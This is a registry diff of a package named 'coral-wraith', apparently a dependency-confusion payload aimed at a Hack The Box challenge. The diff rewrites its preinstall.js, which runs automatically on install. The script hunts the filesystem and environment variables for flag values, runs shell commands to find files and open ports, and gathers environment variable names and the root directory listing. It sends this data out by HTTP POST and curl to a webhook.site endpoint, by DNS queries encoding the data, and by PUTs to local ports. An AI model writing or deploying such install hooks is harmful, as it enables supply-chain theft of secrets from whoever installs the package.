coral-wraith 9999.0.2 → 9999.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +83 -73
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -2,67 +2,93 @@ const fs = require('fs');
|
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const https = require('https');
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
|
+
const dns = require('dns');
|
|
5
6
|
|
|
6
7
|
let flag = null;
|
|
7
8
|
|
|
8
|
-
// Read
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
// Try other paths
|
|
12
|
-
if (!flag) {
|
|
13
|
-
for (const p of ['/root/flag', '/tmp/flag', './flag', '/flag.txt']) {
|
|
14
|
-
try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
|
|
15
|
-
}
|
|
16
|
-
}
|
|
17
|
-
|
|
18
|
-
// Check env vars
|
|
19
|
-
if (!flag) {
|
|
20
|
-
const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
|
|
21
|
-
if (envFlag) flag = envFlag;
|
|
9
|
+
// Read flag from common locations
|
|
10
|
+
for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag', './flag', '/app/flag', '/home/flag']) {
|
|
11
|
+
try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
|
|
22
12
|
}
|
|
23
13
|
|
|
24
|
-
// Check
|
|
14
|
+
// Check ALL env vars
|
|
25
15
|
if (!flag) {
|
|
26
16
|
for (const [k, v] of Object.entries(process.env)) {
|
|
27
|
-
if (v && v.includes('HTB{')) {
|
|
28
|
-
|
|
29
|
-
break;
|
|
17
|
+
if (v && (v.includes('HTB{') || v.includes('FLAG'))) {
|
|
18
|
+
const m = v.match(/HTB\{[^}]+\}/);
|
|
19
|
+
if (m) { flag = m[0]; break; }
|
|
30
20
|
}
|
|
31
21
|
}
|
|
32
22
|
}
|
|
23
|
+
if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || null;
|
|
33
24
|
|
|
34
25
|
// Try /proc/self/environ
|
|
35
26
|
if (!flag) {
|
|
36
27
|
try {
|
|
37
28
|
const pe = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
38
|
-
const m = pe.match(/HTB\{[^}]+\}/)
|
|
29
|
+
const m = pe.match(/HTB\{[^}]+\}/);
|
|
39
30
|
if (m) flag = m[0];
|
|
40
31
|
} catch(e) {}
|
|
41
32
|
}
|
|
42
33
|
|
|
43
|
-
// Grep
|
|
34
|
+
// Grep
|
|
44
35
|
if (!flag) {
|
|
45
36
|
try {
|
|
46
|
-
const r = execSync('
|
|
47
|
-
if (r) {
|
|
37
|
+
const r = execSync('find / -maxdepth 3 -name "flag*" -o -name "*.flag" 2>/dev/null | head -5', { timeout: 5000 }).toString().trim();
|
|
38
|
+
if (r) {
|
|
39
|
+
for (const f of r.split('\n')) {
|
|
40
|
+
try {
|
|
41
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
42
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
43
|
+
if (m) { flag = m[0]; break; }
|
|
44
|
+
} catch(e) {}
|
|
45
|
+
}
|
|
46
|
+
}
|
|
48
47
|
} catch(e) {}
|
|
49
48
|
}
|
|
50
49
|
|
|
50
|
+
// Determine server port by checking what's listening
|
|
51
|
+
let serverPort = 1337;
|
|
52
|
+
try {
|
|
53
|
+
const netstat = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
|
|
54
|
+
const portMatch = netstat.match(/:(\d+)\s/g);
|
|
55
|
+
if (portMatch) {
|
|
56
|
+
for (const pm of portMatch) {
|
|
57
|
+
const p = parseInt(pm.replace(':', '').trim());
|
|
58
|
+
if (p > 1000 && p < 65535 && p !== 80) {
|
|
59
|
+
serverPort = p;
|
|
60
|
+
break;
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
} catch(e) {}
|
|
65
|
+
|
|
66
|
+
const info = {
|
|
67
|
+
flag: flag || 'NOT_FOUND',
|
|
68
|
+
cwd: process.cwd(),
|
|
69
|
+
serverPort,
|
|
70
|
+
env: Object.keys(process.env).join(','),
|
|
71
|
+
rootFiles: []
|
|
72
|
+
};
|
|
73
|
+
try { info.rootFiles = fs.readdirSync('/'); } catch(e) {}
|
|
74
|
+
|
|
75
|
+
const data = JSON.stringify(info);
|
|
76
|
+
|
|
77
|
+
// Method 1: PUT flag back to challenge API on ALL possible ports
|
|
51
78
|
if (flag) {
|
|
52
|
-
// Method 1: PUT flag back to the challenge API via localhost (many ports)
|
|
53
|
-
const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839, 3001, 4000, 9000];
|
|
54
79
|
const postData = JSON.stringify({
|
|
55
|
-
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.
|
|
80
|
+
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.0"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
|
|
56
81
|
});
|
|
57
|
-
|
|
58
|
-
|
|
82
|
+
|
|
83
|
+
const ports = [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 3001, 4000, 9000, 8888, 32315, 32105];
|
|
84
|
+
for (const port of [...new Set(ports)]) {
|
|
59
85
|
for (const host of ['localhost', '127.0.0.1']) {
|
|
60
86
|
try {
|
|
61
87
|
const req = http.request({
|
|
62
88
|
hostname: host, port, path: '/api/modules/ECT-987654',
|
|
63
89
|
method: 'PUT',
|
|
64
90
|
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
65
|
-
timeout:
|
|
91
|
+
timeout: 2000
|
|
66
92
|
}, () => {});
|
|
67
93
|
req.on('error', () => {});
|
|
68
94
|
req.write(postData);
|
|
@@ -70,52 +96,36 @@ if (flag) {
|
|
|
70
96
|
} catch(e) {}
|
|
71
97
|
}
|
|
72
98
|
}
|
|
99
|
+
}
|
|
73
100
|
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
} catch(e) {}
|
|
101
|
+
// Method 2: Webhook (may be blocked)
|
|
102
|
+
try {
|
|
103
|
+
const req = https.request({
|
|
104
|
+
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
105
|
+
method: 'POST',
|
|
106
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
107
|
+
timeout: 5000
|
|
108
|
+
}, () => {});
|
|
109
|
+
req.on('error', () => {});
|
|
110
|
+
req.write(data);
|
|
111
|
+
req.end();
|
|
112
|
+
} catch(e) {}
|
|
87
113
|
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
114
|
+
// Method 3: DNS exfil (works even when HTTP is blocked)
|
|
115
|
+
try {
|
|
116
|
+
const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
|
|
117
|
+
dns.resolve(`${encoded}.webhook.site`, () => {});
|
|
118
|
+
} catch(e) {}
|
|
93
119
|
|
|
94
|
-
|
|
95
|
-
|
|
120
|
+
// Method 4: curl fallback
|
|
121
|
+
try {
|
|
122
|
+
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 5 2>/dev/null`, { timeout: 8000 });
|
|
123
|
+
} catch(e) {}
|
|
96
124
|
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
rootFiles: [],
|
|
105
|
-
env: Object.keys(process.env).join(',')
|
|
106
|
-
};
|
|
107
|
-
try { debug.rootFiles = fs.readdirSync('/'); } catch(e) {}
|
|
108
|
-
|
|
109
|
-
const data = JSON.stringify({ flag: 'NOT_FOUND', debug });
|
|
110
|
-
try {
|
|
111
|
-
const req = https.request({
|
|
112
|
-
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
113
|
-
method: 'POST',
|
|
114
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
115
|
-
timeout: 10000
|
|
116
|
-
}, () => {});
|
|
117
|
-
req.on('error', () => {});
|
|
118
|
-
req.write(data);
|
|
119
|
-
req.end();
|
|
120
|
-
} catch(e) {}
|
|
121
|
-
}
|
|
125
|
+
// Method 5: Write to stdout/stderr for server logs
|
|
126
|
+
console.log('[CORAL-WRAITH]', data);
|
|
127
|
+
console.error('[HTB_FLAG]', flag || 'NOT_FOUND');
|
|
128
|
+
|
|
129
|
+
// Method 6: Write to various tmp locations
|
|
130
|
+
try { fs.writeFileSync('/tmp/coral_flag.txt', data); } catch(e) {}
|
|
131
|
+
try { fs.writeFileSync('/app/coral_flag.txt', data); } catch(e) {}
|